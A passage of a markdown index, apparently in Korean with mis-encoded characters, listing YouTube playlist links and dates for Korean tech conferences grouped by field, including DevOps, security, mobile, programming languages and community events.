- ๊ณผํ๊ธฐ์ ์ ๋ณดํต์ ๋ถ - Open Cloud Platform Summit - [2022](https://www.youtube.com/playlist?list=PL-AoIAa-OgNnym3kkTmIlko53smWH4L0p) | [2023](https://www.youtube.com/playlist?list=PL-AoIAa-OgNla-rPexcg9WpEntQ9fPKDD) - 2023.07.12
- ์ค๋งํธํด๋ผ์ฐ๋์ผ2021 - [1์ผ์ฐจ](https://youtu.be/Y335QzGRz1U) | [2์ผ์ฐจ](https://youtu.be/Itk2Wy3oiKE) - 2021.09.28~29
- ์งํฐํ๋ฌ์ค - Get Tech Day [2021](https://www.youtube.com/playlist?list=PLM48rFX5FOnbMQyAZZIGItYhax_B9REC8) | [2022](https://www.youtube.com/playlist?list=PLM48rFX5FOnYZVXnxF49sBtCJCLkDCDo3) - 2022.12.15
## ์ธํ๋ผ & ๋ฐ๋ธ์ต์ค
- ์คํ ์ธํ๋ผ ์ปค๋ฎค๋ํฐ
- OpenInfra Community Days Korea - [2020](https://www.youtube.com/playlist?list=PLkgLtPJ7Lg3rLLET-H1fS12OF0bBtOE-p) | [2021](https://www.youtube.com/playlist?list=PLkgLtPJ7Lg3o6FZNJiB10vReh_iXve6LS) | [2023](https://www.youtube.com/playlist?list=PLkgLtPJ7Lg3pIbzuNxOix9Co5pHgAU98a) - 2023.07.03~04
- [OpenInfra & Cloud Native Days Korea 2022](https://www.youtube.com/playlist?list=PLkgLtPJ7Lg3rnn_p6QV-GVdgqL-ZgZnZo) - 2022.11.01
- KAFKA ํ๊ตญ ์ฌ์ฉ์ ๋ชจ์ [KRU](https://www.facebook.com/groups/kafka.kru)
- Virtual Meetup [2020](https://www.youtube.com/playlist?list=PLUc8G1CJwNG2nJgOqRESbI64C0cWU9-nx) | [2021](https://www.youtube.com/playlist?list=PLUc8G1CJwNG3E3_q6nY2_xM9jjHx0t7bw) | [2022](https://www.youtube.com/playlist?list=PLUc8G1CJwNG3ipaXxW25_a_bTVn3yM69g) - 2022.04.14
- Datadog Korea
- [Virtual Summit 2020](https://www.youtube.com/playlist?list=PLtoDdE_CaqrQVY5iuha4xGMK6smnLfgi4) | [DASH 2023](https://www.youtube.com/playlist?list=PLtoDdE_CaqrT9r7VwpELbzl6acIuxzc3w) | [Observability Day 2023](https://www.youtube.com/playlist?list=PLtoDdE_CaqrS55NBKZ4ds0jbF0foKone9) - 2023.10.13
- [Datadog ์จ๋น๋ ์๋ฆฌ์ฆ](https://www.youtube.com/playlist?list=PLtoDdE_CaqrR9hMYN40ms_4_k_rNz0ro2) - 2024.02.02
- ๋น๊ทผ๋ง์ผ
- ๋น๊ทผ SRE ๋ฐ์
- [1ํ](https://www.youtube.com/playlist?list=PLaHcMRg2hoBqWWla-pCBSRqU-jSriiZHj) | [2ํ](https://www.youtube.com/playlist?list=PLaHcMRg2hoBqJRSlnE7Xw_QpVkf8u6ISH) | [3ํ](https://www.youtube.com/playlist?list=PLaHcMRg2hoBopbyEOW1XjP3runE93n9GC) - 2023.06.15
- ๋น๊ทผ SERVER ๋ฐ์
- [1ํ](https://www.youtube.com/playlist?list=PLaHcMRg2hoBr5s_jn5CzZrpkmHOY0N8w7) | [2ํ](https://www.youtube.com/playlist?list=PLaHcMRg2hoBp2ukW-b4yzcNzNLZ5j7nmh) - 2023.10.28
- ๋น๊ทผ ML ๋ฐ์
- [1ํ](https://www.youtube.com/playlist?list=PLaHcMRg2hoBqSQM48ospyb9hQTzzvMF4y) - 2024.05.10
- ํ์ดํผ์ปค๋ฅํธ
- [HyperLink DevOps & SRE Meetup](https://www.youtube.com/playlist?list=PL1DMLLaNeMxa8Rq0aGcrJ-j3nTSWP7vfE) - 2022.03.02
- HashCorp
- HashiCorp Strategy Day [2023](https://www.youtube.com/playlist?list=PL81sUbsFNc5ZkHno0jkNtQJgWdlY_xpG7) - 2023.04.11
- HashiTalks [Korea 2022, 2023](https://www.youtube.com/playlist?list=PL81sUbsFNc5aQFJNIh74lRJtav5TfjANB) - 2023.09.07
## ๋ธ๋ก์ฒด์ธ
- ์
๋นํธ
- [UDC](https://udc.upbit.com/) - [2020](https://www.youtube.com/playlist?list=PLyONEtYCZLWXsfYZJlp4r5doQflsIEYcZ) | [2021](https://www.youtube.com/playlist?list=PLyONEtYCZLWU7nxtYgVxNJVgtTnFFeQ77) | [2022](https://www.youtube.com/playlist?list=PLyONEtYCZLWXqxJ3IbXz3PJ8Uc3ZHkmP6) | [2023](https://www.youtube.com/playlist?list=PLyONEtYCZLWWAct203e-Dm1_fC3Ebgu65) - 2023.11.13
- [DCON 2023](https://www.youtube.com/playlist?list=PLjziuUtwQOz1n1GLizGeUOquf5rNdZAlx) - 2023.03.16
- ๋๋ค256
- Luniverse - [2021](https://www.youtube.com/playlist?list=PLXDdGRMRFqmGRS82o4fGBpXFlHANdPRmn) | [2022](https://www.youtube.com/playlist?list=PLXDdGRMRFqmGaJV8N--ofWmE_tiW7creV) - 2022.04.12
- ํ๊ตญ์ธํฐ๋ท์งํฅ์
- ๋ธ๋ก์ฒด์ธ ๋ฐ์
์ปจํผ๋ฐ์ค - [2022](https://www.youtube.com/playlist?list=PLiagZi75rsoZBPHOtg-ASJOkx3meCG_c-) | [2023](https://www.youtube.com/playlist?list=PLiagZi75rsoZ4keCGjZdvafP_WmZChvOr) - 2023.04.05
- ๊ธฐํ
- ํ
ํฌM - [ํ
ํฌB ์ฝํผ๋ฐ์ค](https://www.youtube.com/playlist?list=PLpCs8R7ZoTIDp8zRwOzk3gKRQIueOSeDc) - 2022.08.18
- ๊นํ24 - [NFT ํ์ฉ ์ด์ปค๋จธ์ค ์ฑ๊ณต์ ๋ต ์จ๋น๋](https://youtu.be/KM1-kqSAw3c) - 2022.12.15
## ๋ชจ๋น๋ฆฌํฐ
- ํ๋์๋์ฐจ
- [HMG Developer Conference](https://www.hmgdevcon.com) - [์ 1ํ](https://www.youtube.com/playlist?list=PLypFzBtJUO_jOcX48cwJ21pFpzkkWLqWm) | [์ 2ํ](https://www.youtube.com/playlist?list=PLypFzBtJUO_gRRauzZOhH9TexiYmrYcyX) | [์ 3ํ](https://www.youtube.com/playlist?list=PLypFzBtJUO_gDlP0xkac4kXAaGcr_w31w) - 2023.11.13
- Softeer Tech Meet-up - [1st, 2nd](https://www.youtube.com/playlist?list=PLypFzBtJUO_gRY3U3XPjutaUDskzKP_tv) - 2023.09.14
- ์นด์นด์ค๋ชจ๋น๋ฆฌํฐ
- [MEMO](https://nemo.kakaomobility.com) - [2022](https://www.youtube.com/playlist?list=PLAi6ak51pSz2O8W4VPsKsUQ_X4oVcvfz6) | [2023](https://www.youtube.com/playlist?list=PLAi6ak51pSz0F7I22FkxYZfs856ZNYX97) - 2023.09.08
## ๊ฒ์
- ๋ฅ์จ
- [NDC](https://ndc.nexon.com) - [2021](http://ndcreplay.nexon.com/#c=NDC2021) | [22](https://ndc.nexon.com/session/sessionDay1) - 2022.06.08~10
- ์ ๋ํฐ ์ฝ๋ฆฌ์
- [์ ๋์ดํธ ์์ธ 2020](https://www.youtube.com/playlist?list=PL412Ym60h6ush2X5_8B8LbKXaBSjIFopd) | [UNITE 2022](https://www.youtube.com/playlist?list=PL412Ym60h6uudM6ziOyy2Eb8KsARTZsmi) | [UNITE 2023](https://www.youtube.com/playlist?list=PL412Ym60h6utvkxkA2zlBIvDhtNLLUPKT) - 2023.11.30
- [Unity Wave 2022](https://www.youtube.com/playlist?list=PL412Ym60h6uskscz6NE7X7KjihUic7YtU) - 2022.05.09~13
## ๋ณด์
- Samsung Research
- [SSTF(Samsung Security Tech Forum)](https://research.samsung.com/sstf) - [2021](https://www.youtube.com/playlist?list=PLhpbZcOKxtO1eA3dVfatqd5bpwbGd0oXP) | [2022](https://www.youtube.com/playlist?list=PLhpbZcOKxtO0MkZ88h_y0Xs8VH2rFigWc) | [2023](https://www.youtube.com/playlist?list=PL7PfK8Mp1rLHT5-tkJtHrz0jCCQ_300tb) - 2023.08.22
- ์ํํธ์จ์ด ๊ฐ๋ฐ๋ณด์ ์ปจํผ๋ฐ์ค
- [์ 11ํ(2021), ์ 12ํ(2022), ์ 13ํ(2023) ์ํํธ์จ์ด ๊ฐ๋ฐ๋ณด์ ์ปจํผ๋ฐ์ค](https://www.youtube.com/playlist?list=PLlFyHGHMXJU_p_288gCexBvV6tYtMtDBz) - 2023.11.14
- ์ํ๋ ์ด์ด
- ๊ฐ๋ฐ์ ์ปจํผ๋ฐ์ค STICK [2022](https://www.youtube.com/playlist?list=PL2JstscjHCud5oW7F3PZ5UJOrqFdbBhD1) | [2023](https://www.youtube.com/playlist?list=PL2JstscjHCueZR9css8YRXB81kKIkx8Iq) - 2023.11.01
- ๋ฐ์ผ๋ฆฌ์ํ
- [PASCON](https://www.dailysecu.com/form/register.html?form_id=1639447124) - [2020](https://www.youtube.com/playlist?list=PLVzhBRBZvsfMQKMRlU4eotmXgPPxPhxoJ) | [2021](https://www.youtube.com/hashtag/pascon2021) | [2022](https://www.youtube.com/playlist?list=PLVzhBRBZvsfNceqznSO5GlkYrUkOrIrxX) | [2023](https://www.youtube.com/playlist?list=PLVzhBRBZvsfPcPeMevubEODj30J_STwHJ) - 2023.09.05
- G-PRIVACY [2023](https://www.youtube.com/playlist?list=PLVzhBRBZvsfOtpSy2LxIaZM7q8-o4ePMm) | [2024](https://www.youtube.com/playlist?list=PLVzhBRBZvsfP17wTtDtyigcT8imLIk9hU) - 2024.03.12
- ์๋ฉ(AhnLab)
- ISF - [2020](https://youtu.be/lbu_fD36ex4?list=PLcETc5mLmNrXk7QFkcY5y-9OL_DoCA7Kt) | [2021](https://youtu.be/rHyFZn5fMrQ?list=PLcETc5mLmNrXk7QFkcY5y-9OL_DoCA7Kt) | [2022](https://youtu.be/F3lt03ZBADg?list=PLcETc5mLmNrXk7QFkcY5y-9OL_DoCA7Kt) | [2023](https://www.youtube.com/playlist?list=PLcETc5mLmNrUOXF2H9BrTewvI5polNOl6) - 2023.09.07
- ์ฝ๋์์ง
- CodeEngn Conference - [2021](https://www.youtube.com/playlist?list=PLscYqoBID5Z4G_YQKUGP_ZioNF7BNCKdX) | [2022](https://www.youtube.com/playlist?list=PLscYqoBID5Z5XYI_eC_FoNOxTegKuKoR2) | [2023](https://www.youtube.com/playlist?list=PLscYqoBID5Z4ZmgDyuAApOyDKkA0u8Cqv) - 2023.07.03
## ๋ชจ๋ฐ์ผ
- ๊ตฌ๊ธ ๊ฐ๋ฐ์ ๊ทธ๋ฃน(GDG)
- I/O Extended Korea Android [2021](https://youtu.be/NIGV-NUf1pQ) | [2022](https://youtu.be/1TsQ0buZUas) - 2022.06.11
- ๋๋ก์ด๋๋์ด์ธ
- [2020](https://www.youtube.com/playlist?list=PLu8dnNjU2Fmtg2gML0DVXakykl3NaWLZy) | [2021](https://www.youtube.com/playlist?list=PLu8dnNjU2FmsROfv5pNAvhRiOFVN_EmnV) | [2023](https://www.youtube.com/playlist?list=PLu8dnNjU2Fmv55B8y6Mw78pZFflIoxDo8) - 2023.09.12
- Async Swift Korea
- [SyncSwift 2022](https://www.youtube.com/playlist?list=PLu5z3LShQlQXuZKlehlTfGZFc753dkgOs) - 2022.11.12
- AsyncSwift Seminar [001](https://www.youtube.com/playlist?list=PLu5z3LShQlQURqEqfYc-IfedIq8afW-mc), [002](https://youtu.be/46l90qYNHCc?t=1215) - 2022.09.22
- Seoul iOS Meetup
- 2023 - [April](https://www.youtube.com/playlist?list=PLAFxr8OPgeVFdySPXGq8Nv37HfFcYM0ro), [May](https://www.youtube.com/playlist?list=PLAFxr8OPgeVF18jds65HTjzTQEbuVeq1A), [June](https://www.youtube.com/playlist?list=PLAFxr8OPgeVFxT5Vp_OVKBr-bgeyyVN-V), [July](https://www.youtube.com/playlist?list=PLAFxr8OPgeVEIC_uoQc07lGbRJ-kI5DNO), [August](https://youtu.be/22GjhyFqEcE?list=PLAFxr8OPgeVHiv1RO78GHNxvoDTjRRsNt&t=2), [October](https://youtu.be/1DkOCVeX26s?list=PLAFxr8OPgeVHF5i7kLXuNvJsadfPmwYU6), [December](https://youtu.be/0Q0leVjH2gM?list=PLAFxr8OPgeVGrG3efpsyWtWbnYcWJQdf1) - 2023.12.14
- 2024 - [January](https://youtu.be/FmYf5Yz77wg?list=PLAFxr8OPgeVF_SAt2o7lOe2UVJXb7yzg-) - 2024.01.18
- adiOS Korea
- adiOS 2021 - [Oct](https://www.youtube.com/playlist?list=PLUsr11byBStFxL1J6wvflz_xyoiD2OeW9), [Dec](https://www.youtube.com/watch?v=hOEsIUa7-1M) | 2022 - [Blossom](https://www.youtube.com/playlist?list=PLUsr11byBStFUV0VHQEHBZA2XS0K-I9F7), [Intro](https://www.youtube.com/playlist?list=PLUsr11byBStEAiW2zHCqpGXvT6U5iMjfH), [ASAP๐ฅ](https://www.youtube.com/playlist?list=PLUsr11byBStGovDXPQ4EcTi0Q4dst1Hei), [Something](https://www.youtube.com/playlist?list=PLUsr11byBStFIg-hhapmB6nuj0dgJQjJ6) - 2022.12.18
- ๊ธฐํ
- IMQA > [IMDEV 2023](https://www.youtube.com/playlist?list=PLmTSJ8F4eG5EUbh2Y4zcaiXZoNgLQoRyK) - 2023.02.20~21
## ํ๋ก ํธ์๋ & JS
- ํ๋ก ํธ์๋ ๊ฐ๋ฐ์ ์ปจํผ๋ฐ์ค
- FECONF 2020 - [A Track](https://www.youtube.com/playlist?list=PLZl3coZhX98q_yvsIzo0exOGSdmWeT_o6), [B Track](https://www.youtube.com/playlist?list=PLZl3coZhX98rqCYUOqO0Wbkas1hM1hlS2) | 2021 - [A Track](https://www.youtube.com/playlist?list=PLZl3coZhX98p6gwel6QW86QUwuAmTEZBo), [B Track](https://www.youtube.com/playlist?list=PLZl3coZhX98qv9ixNHWYkUOnwnW8xXvqD) | 2022 - [A Track](https://www.youtube.com/playlist?list=PLZl3coZhX98pajnfobtWKCU9XH3zNNT-v), [B Track](https://www.youtube.com/playlist?list=PLZl3coZhX98pl7L0FZW2XMg7fE3nZAJk3) | 2023 - [A Track](https://www.youtube.com/playlist?list=PLZl3coZhX98p5lWeGKAdUgA93bioesqjc), [B Track](https://www.youtube.com/playlist?list=PLZl3coZhX98rM8yercTFaikRkBJf8rfKJ) - 2023.10.21
- ์๋ฐ์คํฌ๋ฆฝํธ ์ปจํผ๋ฐ์ค
- [JSConf Korea](https://jsconf.kr) - [2020 Home Edition](https://www.youtube.com/playlist?list=PL37ZVnwpeshHlUonQ2pnYFd8SAiicjmlm) | [2022](https://www.youtube.com/playlist?list=PL37ZVnwpeshH7y4tbeYslJ5MN1JvyYEks) - 2022.09.16~17
- ๊ธฐํ
- Nest.js Korea - [NestJS ๋ฐ์
](https://www.youtube.com/@nestjskorea/videos) - 2023.06.15
## ํ๋ก๊ทธ๋๋ฐ ์ธ์ด
- ํ์ด์ฝ ํ๊ตญ
- [PyCon.KR](https://pycon.kr) - [2020](https://www.youtube.com/playlist?list=PLZPhyNeJvHRk9wIL9rZekFLIfT3aVcHT7) | [2021](https://www.youtube.com/c/PyConKRtube/videos?view=0&sort=dd&shelf_id=0) | [2022](https://www.youtube.com/playlist?list=PLZPhyNeJvHRnlqQwMj-WNlrsac7yTiVhk) | [2023](https://www.youtube.com/playlist?list=PLZPhyNeJvHRllQiXsJAryqWmqWrwFxY8I) - 2023.08.12~13
- ํ๊ตญ ์คํ๋ง ์ฌ์ฉ์ ๋ชจ์
- [KSUG](https://www.ksug.org) - [2021 Webinar](https://www.youtube.com/playlist?list=PLn0dGEB80JNQLm7-af9X6Yqx1oBK8YXSm) - 2021.04.30
- SpringCamp - [2019](https://www.youtube.com/playlist?list=PLdHtZnJh1KdaM0AfxPA7qGK1UuvhpvffL) | [2023](https://www.youtube.com/playlist?list=PLdHtZnJh1KdbR9xXyiVJ-BClLTXCw66y3) - 2023.04.22
- Golang Korea
- GopherCon Korea - [2021](https://www.youtube.com/playlist?list=PL2ntRZ1ySWBfulCVQD6EaU8c-GM56aUU7) | [2022](https://www.youtube.com/playlist?list=PL2ntRZ1ySWBfiSJSt-zPRbVSMDfK0EwQC) | 2023 [Day1](https://youtu.be/WZthMW0BaNA?t=1322) [Day2](https://youtu.be/8AUVKh0qJgU?t=1333) - 2023.08.05~06
- [2020.05 ์จ๋ผ์ธ ๋ฐ์
](https://www.youtube.com/playlist?list=PLxEDm5GRSh4OJPiKKv5PVKiDi6f80kyTS) | [2022.03 Go 1.18 ๋ฆด๋ฆฌ์ฆํํฐ](https://www.youtube.com/playlist?list=PLxEDm5GRSh4P6aihX1DrNsV57r7bi0rZT) - 2022.03.31
- ๋ท๋ท ๊ฐ๋ฐ์ ์ปค๋ฎค๋ํฐ [๋ท๋ท๋ฐ๋ธ](https://www.dotnetconf.kr)
- .NET Conf - [2021](https://www.youtube.com/playlist?list=PLFVJi7gR5oaOtgZYZ4d77HcyjhcQ9iW4z) | [2022 x Seoul](https://www.youtube.com/playlist?list=PLFVJi7gR5oaPwyL4bR0vL4pwVDf321443) | [2023 x Seoul](https://www.youtube.com/playlist?list=PLFVJi7gR5oaOaTF5bMD0m_7ms9rfmndX4) | [2024 x Seoul](https://www.youtube.com/playlist?list=PLFVJi7gR5oaNapfx69uag1Z6KePIbHGfA) - 2024.02.21
- .NET Conf Mini - [21.04](https://www.youtube.com/playlist?list=PLFVJi7gR5oaMfdN1Q7rqFKa7ZWeW9O6k6), [21.08](https://www.youtube.com/playlist?list=PLFVJi7gR5oaOZVfHgT3IPQvk5uW2nzK3e) | [22.05](https://youtu.be/W95lo-337Q8), [22.09](https://youtu.be/Z6Z3qgHYaOg) | [L!VE 2023 Fall](https://www.youtube.com/playlist?list=PLFVJi7gR5oaPdlmQk0TjxxLyD7ND9Ws-g) - 2023.10.19
- Flutter Korea
- [Flutter Festival Korea](https://www.youtube.com/playlist?list=PL6RQwUkx6VTSK_jxZUIh7usPE8JLpnaoS) - 2022.03.05
- [Flutter Engage](https://www.youtube.com/playlist?list=PL6RQwUkx6VTRUeQzsqVg-DgH38ME96w4F) | [FlutterDay 2020](https://www.youtube.com/playlist?list=PL6RQwUkx6VTSmCR632XO0_cGVN7JjeMHg) | [Flutter I/O Extended Korea](https://youtu.be/2zNYDTOLkzU?list=PL6RQwUkx6VTT49sWkCaWqb__6fEcc7AkH&t=1788) - 2022.06.26
- [Flutter Forward Extended Korea](https://www.youtube.com/playlist?list=PL6RQwUkx6VTRLPlCimOmv8UeLKC9FAlzf) - 2023.04.01
- ๊ทธ๋ฆฐ๋ฉ์ค ์กํ ํด๋ก์
- [Dev Dive 2022 - ํจ์ํ ๊ฐ๋ฐ์๋ก ์ฑ์ฅํ๊ธฐ](https://www.youtube.com/playlist?list=PLOdBZFDkhfV00trSo0SEdHMTaLruDNTzV) - 2022.11.08~09
- Clojure [2022 meetup+](https://youtu.be/BdSoNmWksuk) - 2022.06.10
- ์ฝ๋์ค์ฟผ๋
- [๋ ์ธ ์ค์ํํธ](https://letswift.kr) - [2020 ํ
ํฌํ ํฌ Day](https://www.youtube.com/playlist?list=PLAHa1zfLtLiPnvGyT0Qzt58nNfMAL8JER) | [2022](https://www.youtube.com/playlist?list=PLAHa1zfLtLiPunFALpY6c_ml_Kmpgya0J) | [2023](https://www.youtube.com/playlist?list=PLAHa1zfLtLiPY9gDxRwhNDbYZvjFKiurH) - 2023.10.13
- [ํ๊ตญ R ์ปจํผ๋ฐ์ค](https://use-r.kr)
- [ํ๊ตญ R ์ปจํผ๋ฐ์ค 2021](https://www.youtube.com/playlist?list=PLhTWL0svc2zy4FB-Dy1yrAaYLmrUjXrPg) - 2021.11.19
- Seoul R Meetup - [2021](https://www.youtube.com/playlist?list=PLhTWL0svc2zyVdv-sgLQFs9SHtk31JMEJ) | [2023](https://www.youtube.com/playlist?list=PLhTWL0svc2zzMcB6UAOY2zklOApy33T0H) - 2023.05.11
## ์คํ์์ค
- ์คํ์์ค ์ํํธ์จ์ด ํตํฉ์ง์์ผํฐ, ์คํ์
(Open UP)
- ์คํ ํ
ํฌ๋ท ์๋ฐ(Open Technet Summit) - [2020 | 2021 | 2022 | 2023](https://www.youtube.com/playlist?list=PL8MaVgZDhGk_E0jjMCeTyW3qz5uh86YtJ) - 2023.09.14
- [2020,2021,2022,2023 ๊ณต๊ฐ์ํํธ์จ์ด ํ์คํฐ๋ฒ](https://www.youtube.com/playlist?list=PL8MaVgZDhGk_6lUMRnoGQO8Xy4d3RXTDa) - 2023.09.14
- [์ 9ํ ํ๊ตญ ์ปค๋ฎค๋ํฐ ๋ฐ์ด - KCD 2020](https://www.youtube.com/watch?v=Scj3YCVPsAU&list=PL8MaVgZDhGk9CYn_IkRkgnN1R7kpE582A&index=7) - 2020.11.07
- ํ๊ตญ์ ์ํต์ ์ฐ๊ตฌ์
- [EOST(ETRI ์คํ์์ค ํ
ํฌ๋ฐ์ด)](https://eostday.kr) - [2020 | 2021 | 2022 | 2023](https://www.youtube.com/playlist?list=PLGvb-9I0h7UitqxaXbs0SFvooVGkvEvTr) - 2023.10.11
## ๊ต์ก
- ๋ค์ด๋ฒ ์ปค๋ฅํธ์ฌ๋จ
- [SEF](https://sef.connect.or.kr) - [2020, 2021, 2022, 2023](https://www.youtube.com/playlist?list=PLzUx59pIXJDzG0yMuVcvNFM0ErXk-W5Eg) - 2023.09.06~08
- ์ธํ๋ฐ
- [INFCON](https://infcon.day) - [2022](https://www.youtube.com/playlist?list=PLpkj8RKr48wZMPKR292FOoahqxVDi6d6R) | [2023](https://www.youtube.com/playlist?list=PLpkj8RKr48waFtrqvJjbNrpGCvdxyX8Nx) - 2023.08.15
- [ํด๊ทผ๊ธธ ๋ฐ์
](https://www.youtube.com/playlist?list=PLpkj8RKr48wbl8rsApCB9nWDaSK23xRpM) - 2024.02.28
- ํ๋ก๊ทธ๋๋จธ์ค
- [ํ๋ก๊ทธ๋๋จธ์ค ์จ๋ผ์ธ ์ปจํผ๋ฐ์ค 1st](https://www.youtube.com/playlist?list=PLz4XWo74AOafAHPTyd4ikJwRkXmptWXwI) - 2022.11.26
- [๋ฐ์ดํฐ ์์ง๋์ด๋ง ์ปจํผ๋ฐ์ค](https://www.youtube.com/playlist?list=PLz4XWo74AOaeXlr6zxjA_24vr8qoSzxHE) - 2023.04.01
- [2022 ํ๋ก๊ทธ๋๋จธ์ค SILLY TALK](https://www.youtube.com/playlist?list=PLz4XWo74AOadffWyvALUKsNSW0pFBD1Dl) - 2022.10.15
- ์ด๋
ธ๋ฒ ์ด์
์์นด๋ฐ๋ฏธ
- [INNO-CON](https://innocon.co.kr) - [แแ
ตแแ
ฉแแ
ฆแแ
ตแแ
งแซแแ
กแแ
กแแ
ฆแแ
ต แแ
ฅแผแแ
ช แแ
ฉแผแแ
ฒ แแ
ฅแซแแ
ฅแ
แ
ฅแซแแ
ณ 2020 ~ 2023](https://www.youtube.com/playlist?list=PLdaJq4f37m1p-0EEXIO7JDb3xXhlluWC4) - 2023.10.05
- [ํผ๋ก๊ทธ๋๋ฐ](https://pirogramming.com)
- [2022 ๊ฒจ์ธ ํผ๋ก์ปจํผ๋ฐ์ค](https://www.youtube.com/playlist?list=PLslwDteUjPslzKLhryKb5IIaRg4fCz6Fw) - 2022.02.17~18
## ์ปค๋ฎค๋ํฐ
- AWS ํ๊ตญ ์ฌ์ฉ์ ๋ชจ์ [AWSKRUG](https://awskrug.github.io)
- AWS Community Day [Online 2020](https://www.youtube.com/playlist?list=PLX2fs3661XpMjuok2MTitzTxSaLXfxsBu) | [2020](https://www.youtube.com/playlist?list=PLX2fs3661XpPDIQb9pyDvflxz6yDdLnro) | [2021](https://www.youtube.com/playlist?list=PLX2fs3661XpOHFIaKMfEKP1FAvYf0rvEo) | [2022 Seoul - Home Coming Day](https://www.youtube.com/playlist?list=PLX2fs3661XpN1mBctkVosU5jxkusdBRxC) | [2023 Seoul](https://www.youtube.com/playlist?list=PLX2fs3661XpMrFZaU4i2y4RqylcuvfVLA) - 2023.10.28
- โจ AWSKRUG Meetup [์ฑ์](https://www.youtube.com/playlist?list=PLX2fs3661XpMOLPMLYAyMHlCYbHqwg6Fy) | [๊ตฌ๋](https://www.youtube.com/playlist?list=PLX2fs3661XpOyBd4AQ1o8i9pL4gP7jZa0) | [Container](https://www.youtube.com/playlist?list=PLX2fs3661XpN2e_Gxt07jmAyp11zNGmwM) | [DataScience](https://www.youtube.com/playlist?list=PLX2fs3661XpMO995pE2jMp92jM4xkJz7w) | [Database](https://www.youtube.com/playlist?list=PLX2fs3661XpOJU6zVCP6oISzz4Pol2LJs) | [Deepracer](https://www.youtube.com/playlist?list=PLX2fs3661XpNNr_PFfV7Y0BngN_OxJfrE) | [Security](https://www.youtube.com/playlist?list=PLX2fs3661XpMRNU4vOSq-LJeDJ26LKxEx) | [Frontend](https://www.youtube.com/playlist?list=PLX2fs3661XpNfRSZ9TD_xyQdegvtNDsdw) | [GameTech](https://www.youtube.com/playlist?list=PLX2fs3661XpOKTk_J-UHHAcCn64O96ql9) | [Architecture](https://www.youtube.com/playlist?list=PLX2fs3661XpPrBgaLhrBk-OSV8EtTsAc-) - 2024.05.29
- ๊ตฌ๊ธ ๊ฐ๋ฐ์ ๊ทธ๋ฃน(GDG KOREA)
- I/O Extended - [2021 with doubleS](https://www.youtube.com/playlist?list=PLF_OUznA3RTTadLaKE9gVJY5MR6ncdmiX) | 2022 Seoul - [Part1](https://youtu.be/GfbJp3CHWBk?t=1696), [Part2](https://youtu.be/bU7F_Ca6xQ8?t=395) - 2022.06.20
- [Kotlin 'Summer' Night 2022 Seoul](https://youtu.be/3sX3Oki9PD8?t=295) - 2022.09.06
- [Devfest](https://www.facebook.com/devfest.seoul.2019) - [Korea 2020](https://www.youtube.com/playlist?list=PLF_OUznA3RTSoRHlcIRg4KZYSFJ6rfGfm) | Seoul 2021 [ํธ๋นต ํธ๋](https://youtu.be/t_BVZkPc650?t=609), [๋ถ์ด๋นต ํธ๋](https://youtu.be/HGy-PvnJC3g?t=609) - 2021.11.03
- GDG Daegu - [Code Action 1st](https://youtu.be/GngEX-zVo6Y?t=292) - 2022.08.27
- GDG SongDo - [Flutter](https://www.youtube.com/playlist?list=PLSCuU2a9seuO4xpzlC7dRjrVMhV6idD42) | [Machine Learning](https://www.youtube.com/playlist?list=PLSCuU2a9seuMJ6Ee-KTBDgokc9nfjwahJ) Meetup Songdo 23 - 2023.10.20
- ์คํค์ฝ๋ฆฌ์ [OKKY](https://okky.kr)
- [OKKYCON: 2021](https://www.youtube.com/playlist?list=PLhSAACiXcoKL4Jupof50JNmQi7_VI1-ne) - 2021.03.06
- [OKKY ์ธ๋ฏธ๋](https://www.youtube.com/playlist?list=PLhSAACiXcoKIxl_lzk0u22hiXUY0f5yut) - 2023.12.19
- ๊ธฐํ
- AWS Cloud Clubs - [EWHA ๋ฉค๋ฒ ํ
ํฌํก์ธ์
](https://www.youtube.com/@AWSCloudClub_KR/videos) - 2024.02.13
## ๊ธฐํ
- 11๋ฒ๊ฐ
- [TECH TALK](https://techtalk.11stcorp.com) - 2022 [DAY1](https://www.youtube.com/playlist?list=PL5ew9vtXjSu9EzCttLVM0uTTC26oBBRrR), [DAY2](https://www.youtube.com/playlist?list=PL5ew9vtXjSu8hZ3_F9CU2A7HlkGRyUMUQ) | 2023 [DAY1](https://www.youtube.com/playlist?list=PL5ew9vtXjSu9SEt-ttOVSDfucjmDUW-cy), [DAY2](https://www.youtube.com/playlist?list=PL5ew9vtXjSu_Ex8xvgqxxMr-NuUXkKEIc) - 2023.12.12~13
- ํฐ๋งฅ์ค
- [TmaxDay 2020](https://www.youtube.com/playlist?list=PLAmBb6Ov-e5sT7Lv6XUedwc-seLwy5lvJ) | [SuperWeek 2022](https://www.youtube.com/playlist?list=PLAmBb6Ov-e5sAPz-4sUEOoPQMc9CyUJBQ) - 2022.09.06~07
- ํ๊ตญ์ ์ํต์ ์ฐ๊ตฌ์
- [ETRI CONFERENCE 2022](https://youtu.be/4z1zU2CyX6M?list=PLGvb-9I0h7UiT5plM2JTLTWDNlcby6OQg) | 2023 [1์ผ์ฐจ](https://youtu.be/LldtbXkn1go), [2์ผ์ฐจ](https://youtu.be/LA_VEuJPEdg) - 2023.11.07~08
- ์ ์์ ๋ฌธ ์จ๋น๋ ์ ๋ฌธ๋ฐฉ์ก [allshow TV](https://www.allshowtv.com)
- ๋
ธ์ฝ๋ยท๋ก์ฐ์ฝ๋(NCLC) ์๋ํ ์ํฉํธ - [2023](https://www.youtube.com/playlist?list=PLumdCu9Q56KqHjfLS9iYcp2rHFCPpSutT) | [2024](https://www.youtube.com/playlist?list=PLumdCu9Q56KpO8eX5H022LmNmXoiKzYm5) - 2024.01.30
- [๋์งํธ ํธ๋์คํฌ๋ฉ์ด์
(DX) & ์ํฐํ๋ผ์ด์ฆ ํ
ํฌ ๊ทธ๋๋ ์๋ฐ 2022](https://www.youtube.com/playlist?list=PLumdCu9Q56KpbQr_bUOe9jdHSERpA240H) - 2022.03.25
- [์ค๋งํธ ์ ์กฐํ์ & ๋์งํธ ํธ์ ๊ทธ๋๋ ์๋ฐ 2022](https://www.youtube.com/playlist?list=PLumdCu9Q56Komt4Au9L6Hy3fA4K4Enlze) - 2022.03.18
- [2022 ํด๋ผ์ฐ๋ ๋ค์ดํฐ๋ธ & ๋์งํธ ๊ฒฝํ ์ต์ ํ ๊ทธ๋๋ ์จ๋น๋](https://www.youtube.com/playlist?list=PLumdCu9Q56KqtjXNhMwAIlKlEcMwiO0FX) - 2022.01.21
- [2022 ์ค๋งํธ ๋์งํธ ์ํฌํ๋ ์ด์ค ์ด๋
ธ๋ฒ ์ด์
